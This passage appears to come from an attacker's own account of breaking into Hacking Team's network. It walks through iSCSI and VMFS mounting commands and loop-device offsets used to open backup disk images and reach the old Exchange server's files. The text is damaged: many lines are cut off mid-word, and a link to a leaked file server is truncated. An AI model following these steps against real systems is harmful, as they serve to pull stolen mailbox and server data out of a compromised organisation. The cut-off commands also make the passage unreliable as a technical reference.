iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology
```

...the device file appears! We mount it:

```
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
```

and find backups of various virtual machines. The Exchange serv
the most interesting. It was too big too download, but it was p
mount it remotely to look for interesting files:

```
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS
```

so the offset is 2048 * 512 = 1048576

```
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/
```

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10
we find the hard disk of the VM, and mount it:

```
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /m
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
```

...and finally we've unpacked the Russian doll and can see all
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Ha